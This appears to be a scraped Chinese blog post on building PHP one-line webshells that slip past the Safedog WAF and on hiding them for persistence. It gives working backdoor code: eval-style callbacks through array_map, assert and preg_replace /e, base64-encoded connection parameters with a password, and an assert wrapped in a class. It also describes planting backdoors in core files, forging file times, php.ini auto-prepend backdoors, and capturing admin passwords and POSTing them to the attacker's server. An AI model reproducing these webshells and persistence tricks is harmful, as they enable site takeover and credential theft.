php一句话后门过狗姿势万千之传输层加工(1)
写在前面:
过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面。
但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人都会有收获,但是个人水平有限,可能您觉得文章水平过低,或者并无太大营养。但是跳出文章本身,无论何种技术,重在交流,分享与总结。
另外,希望年轻人不要有太多戾气,更多的是需要保持一个谦逊态度对待技术,尤其是这个浮躁的安全界。
以上是我的开场白(没办法,这是我的一贯风格)
写php后门连载的目的。
希望大家能够暂缓日站的脚步,静下心来想一想,我们在用菜刀做一些除(sang)暴(jin)安(tian)良(liang)的事的时候,php做了些什么,安全狗又蜷缩在门后目睹了些什么。
其实我更愿意传授安全之道,而非渗透之术。
参考过网上很多种已有的php后门的写法,总之思路各种奇葩与新奇,但是衡量一个优秀的php后门并不是单单的看代码多少,过狗怎么样,而是一种基于实际场景的一种变通,所以,php后门这是一门艺术。
连接后门时发生了什么
所以当我在菜刀中双击连接的时候到底发生了什么,安全狗又是如何发现后门并拦截的?
php后门原理很简单,当我们连接时,实际上我们会向php文件post数据,这个数据的内容为我们需要php去执行的代码,当php获取到数据并执行后,将返回一个response。
那么waf能够识别到什么层次?
其实waf最多获取到tcp数据,也就是说,可以获取到我们所post的数据,与服务器所返回的数据,至于php执行命令的过程,用了什么对象,走了什么函数,大部分waf是无法得知的,只能检测敏感字符的提交与返回,与特征查杀。
所以即使是eavl()这个最原始的函数php如何去执行,waf是不管的,但是实际情况你可能还没到那一步,后门就被和谐了。
因为在此之前waf肯定要对后门文件进行特征分析,这关过了,才到数据层,最后才到返回层,那么接下来第二章与第三章将从后门构造与数据提交角度来探讨过狗的方式。
由于waf软件众多,防护机制不尽相同,我的一系列文章全部以安全狗为例。
## WAF如何查杀
首先,后门写入的方式有很多,比如程序本身的move函数,远程包含,数据库导出等等方式,在这里就不详细展开了,
在后门写入过程中,waf首先会对文件的格式进行一个黑白名单检测,如一律不允许php文件上传。
如果上传这一步可以过,那么接下来就是对上传的文件内容进行被动查杀。
而后门特征的查杀一般在后门上传的过程与访问的过程,waf会使用相关的正则与代码预编译来判断是否为危险代码。
以前还经常有用字符串叠加或者加注释来躲避字符串匹配,但是现在很难单纯靠这种方式来绕过了。
当我们的代码本身可以过狗,加工post数据后门执行也没有问题后,最后就是WAF对返回的敏感信息进行检测与过滤了。
除此之外WAF可能会对特殊上传的文件进行权限控制,例如无法执行某些命令等等。
理论篇其实本身并没有太多的东西可说,更多的是希望大家对于WAF有个初步的认识,不要盲(qiang)目(xing)过狗,滥用菜刀。
那么下面两篇文章会分别从后门构造篇与数据传输篇来阐述过狗的来龙去脉。
其实狗狗还是很可耐的额。
##后门构造思路,与安全狗文件特征检测的机制。
另外强调一下,这篇文章需要大家对于php有一定的认识。
本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础;第二部分主要总结一些可以利用的后门姿势,这部分我主要给大家分享一些搜集的后门,希望可以拓展大家的思路;第三部分主要分享后门隐藏之道。
声明:在后门举例中大部分后门构造与思路,可能网上都有类似的,如有雷同,来打我呀!
目前主流的waf软件(如安全狗)一般对于后门文件有主动查杀与被动查杀,主动好理解,被动主要就在于你访问该文件的时候,对该文件就行查杀,比如链接菜刀的时候。
因为安全狗对后门的查杀其实就是对代码的一个预编译,去除注释等无用代码,遇到if,直接检查if内部内容。
安全狗获取其他各种waf有什么样的特征库,我们并不能全部知晓,我们能做的只有一点点尝试,WAF永远在更新,黑阔门永远在换套路,几乎没有一劳永逸的后门。
说明:如果想更好的过狗,那么php是必须要会的,为了尽量照顾到不会php的同学,本文分享一些猥琐思路弥补一下。
先来一个最简单的过狗后门
下面分享的几个一句话都是可以直接过狗的,虽然很简单,但此之前,我们来遛一遛狗。
- <?php $_GET[a]($_GET);?>
这句话已经可以执行一切命令了,但是必然被杀,
我们可以用extract函数简单的处理下请求的数据![]()
当然,想要完美过狗,执行更多命令,还需要数据层加工,详情参考第三章。
经典的回调函数
很多时候并不是给变量多一层加密就安全,其实很多waf对base64_decode相当敏感。
例如:
- @array_map(base64_decode($_REQUEST['xx']),(array)base64_decode($_REQUEST['sofia']));
原理分析:xx参数直接传入一个assert函数,sofia参数传入assert(eval('执行代码'))。
直接暴出array_map后门,试试去掉base64?
没错,就这么简单,最危险的地方就是最安全的地方,起码文件特征安全狗确实没有检测出来。
然而这个一句话D盾是四级的,因为稍微懂点的人都能看出来是个后门。
但是距离实际意义上的过狗还是远远不够的,还需要数据层加工,详情参考第三章。之后你会发现,就这个一句话修改下post数据,可以完整过狗。
不卖关子:
- @array_map(assert,(array)base64_decode($_REQUEST['sofia']));
- 连接方法:test.php?sofia=YXNzZXJ0KCRfUkVRVUVTVFsndnVsbiddKQ== 密码 :vuln
再来一个回调后门
- <?
- $Base = "base6"."4"."_decod"."e";
- $_clasc = $Base($_REQUEST['vuln']);
- $arr = array($Base($_POST['sofia']) => '|.*|e',);
- @array_walk($arr, $_clasc, '');
- ?>
这是我之前修改过的一个版本,这里用的其实还是preg_replace后门,也是通过回调函数来实现执行,同样可以过:
详解:
带入参数:
vuln=cHJlZ19yZXBsYWNl(preg_replace)
sofia=cGhwaW5mbygp(phpinfo())
- <?
- $Base = "base6"."4"."_decod"."e";
- $_clasc = $Base($_REQUEST['vuln']);//$_clasc=preg_replace
- $arr = array($Base($_POST['sofia']) => '|.*|e',); //$arr = array('phpinfo()' => '|.*|e')
- @array_walk($arr, $_clasc, ''); //preg_replace('|.*|e',phpinfo(),'')
- ?>
网上有很多现成的回调函数或者其他方式来过特征检测,再这里就不重复造轮子了。
##后门隐藏
权限维持也是渗透中重要的环节,隐藏的不到位第二天就掉权限,猥琐的后门能一辈子跟随。
### 方法一:远程读取或者include文件
这个方法比较常见,如:
- <?php
- if($_POST['token'] == 'sofia'){
- require 'home/wwwlogs/access.log';
- }
但是就个人而言,我一眼看上就觉得有鬼,哪个正常程序会鬼畜到包含一个日志文件或者图片,当然也要根据场景来定。
### 方法二:
将代码放到核心函数文件中,做好文件时间修改,只要查杀不出来,一般站长也不会去动核心文件,也是具有一定隐蔽性的,
### 方法三:创建类或者函数,分离后门代码
这样的话基本上很难查杀了,比如再global_function.php类的文件中创建一个类,或者函数,在所调用这个核心函数的相关文件中实例化一个类,调用函数,那么也是妥妥执行的。
如:把class放到核心类文件中,在相关的调用文件中放入执行代码,隐蔽性会加强很多。
- <?php
- class Parse_Args {
- public function apply_filters($key) {
- assert($key);
- }
- }
- //执行代码
- @extract($_REQUEST);
- $reflectionMethod = new Parse_Args();
- $reflectionMethod -> apply_filters($s0fia);
- ?>
![]()
![]()
### 方法四:直接加密代码
直接将后门文件加密,![]()

其实这就只是eval($_POST[x])加密后的结果,还需要构造什么?但是在渗透过程中可用性并不是很高,很多时候要写入后门代码,这根本没法写的,只能作为一种维持手段。
### 方法五:创建手工后门
php不仅可以获取get,post数据还是可以获取server数据的,如user-agent,referrer,cookie,client ip,所以我们完全可以在这些参数中加入需要执行的代码,但需要注意的是有的参数日志中会记录,这里仅提供思路,大家根据实际情况取发挥。
### 方法五:间接维持后台权限
可以直接在后台登陆页所include的核心函数中加入获取用户名密码的代码,如直接生成到本地服务器的一个txt中(可以加密下),记住这个隐蔽的url,时不时就会有密码记录,或者远程post密码到自己的服务器上。
可以在后台页面中插入一个xss,这种效率相对较低,但是也是一种思路。
### 方法六:来硬的
这种方法只能针对中小站长,找到一个网站的核心但是又不常用的文件,比如lang文件等等,将自己后门加入,然后将整个文件加密,再替换源文件,功能一切正常,站长对这类文件不会起太大疑心。
这个思路也可以结合方法三。
### 方法七:php.ini后门
修改php.ini配置来达到每个页面都执行某个后门,每个php都是后门,比如可以配置auto_prepend_file,自动加载某个文件,这部分后期抽时间再单独写出来。
php一句话后门过狗姿势万千之传输层加工(1)的更多相关文章
- php一句话后门过狗姿势万千之传输层加工【三】
既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...
- PHP一句话后门过狗姿势万千之传输层加工
既然木马已就绪,那么想要利用木马,必然有一个数据传输的过程,数据提交是必须的,数据返回一般也会有的,除非执行特殊命令. 当我们用普通菜刀连接后门时,数据时如何提交的,狗狗又是如何识别的,下面结合一个实 ...
- php一句话后门过狗姿势万千之后门构造与隐藏【二】
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- PHP一句话后门过狗姿势万千之后门构造与隐藏
第二章节主要带给大家一些后门构造思路,与安全狗文件特征检测的机制. 另外强调一下,这篇文章需要大家对于php有一定的认识. 本章节分为三大部分,第一部分针对初级,分析菜刀php代码的执行过程,较基础: ...
- PHP一句话后门过狗姿势万千之理论篇
写在前面: 过狗相关的资料网上也是有很多,所以在我接下来的文章中,可能观点或者举例可能会与网上部分雷同,或者表述不够全面. 但是我只能说,我所传达给大家的信息,是我目前所掌握或者了解的,不能保证所有人 ...
- 那些强悍的PHP一句话后门
强悍的PHP一句话后门这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马.利用404 ...
- 一些变态的PHP一句话后门收集
这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用404页面隐藏PHP小马 ...
- 强大的PHP一句话后门
强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的. 今天我们细数一些有意思的PHP一句话木马. 1 ...
- 9. 那些强悍的PHP一句话后门
强悍的PHP一句话后门 这类后门让网站.服务器管理员很是头疼,经常要换着方法进行各种检测,而很多新出现的编写技术,用普通的检测方法是没法发现并处理的.今天我们细数一些有意思的PHP一句话木马. 利用4 ...
随机推荐
- SharePoint 2013 为站点配置基于主机标头的双域名
SharePoint的应用中,经常需要配置双域名,为不同的认证方式提供访问入口,下面简单介绍下,如何以主机标头的方式为SharePoint配置双域名: 配置基于主机标头的双域名 1.原本可以访问的测试 ...
- 转:ibatis常用16条SQL语句
1.输入参数为单个值 <delete id="com.fashionfree.stat.accesslog.deleteMemberAccessLogsBefore" par ...
- 操作系统开发系列—13.a.进程 ●
进程的切换及调度等内容是和保护模式的相关技术紧密相连的,这些代码量可能并不多,但却至关重要. 我们需要一个数据结构记录一个进程的状态,在进程要被挂起的时候,进程信息就被写入这个数据结构,等到进程重新启 ...
- OC中的Block的那些事
Block封装了一段代码,可以在任何时候执行 Block可以作为函数参数或者函数的返回值,而其本身又可以带输入参数或返回值. 苹果官方建议尽量多用block.在多线程.异步任务.集合遍历.集合排序.动 ...
- [读书笔记] Head First 设计模式
OO基础 抽象 封装 多态 继承 OO原则 原则 描述 封装变化 找出应用中可能需要变化之处,把它们独立出来,不要和那些不需要变化的代码混合在一起. 把会变化的部分取出来并“封装”起来,好让其他部分不 ...
- php中的curl
/** * 请求接口返回内容 * @param string $url [请求的URL地址] * @param string $params [请求的参数] * @param int $ipost [ ...
- Android 自动生成的R类
资源文件的使用分为在代码中使用和在其他资源文件中引用该资源文件.在我们编译一个Android应用时,Android会自动生成一个R类,在该类中根据不同的资源类型又生成了相应的内部类,该类包含了系统中使 ...
- 视频分享:过五关斩六将——我要做IT面霸!
这是我在某网站分享的网络直播课程,现在博客园分享给大家! 本视频适合以下朋友观看: 1)在校计算机及相关专业学生,希望你了解应聘的要求后来改善你的学习: 2)正在求职或打算跳槽的人士: 3)HR或公司 ...
- android Gui系统之SurfaceFlinger(4)---Vsync(1)
8.Vsync 8.1概论 VSYNC(Vertical Synchronization)是一个相当古老的概念,对于游戏玩家,它有一个更加大名鼎鼎的中文名字—-垂直同步. “垂直同步(vsync)”指 ...
- ORACLE 10升级到10.2.0.5 Patch Set遇到的内核参数检测失败问题
在测试ORACLE 10.2.0.4升级到10.2.0.5 Patch Set的过程中,遇到一个内核参数检查失败的问题,具体错误信息如下所示 实验环境: 操作系统:Oracle Linux Ser ...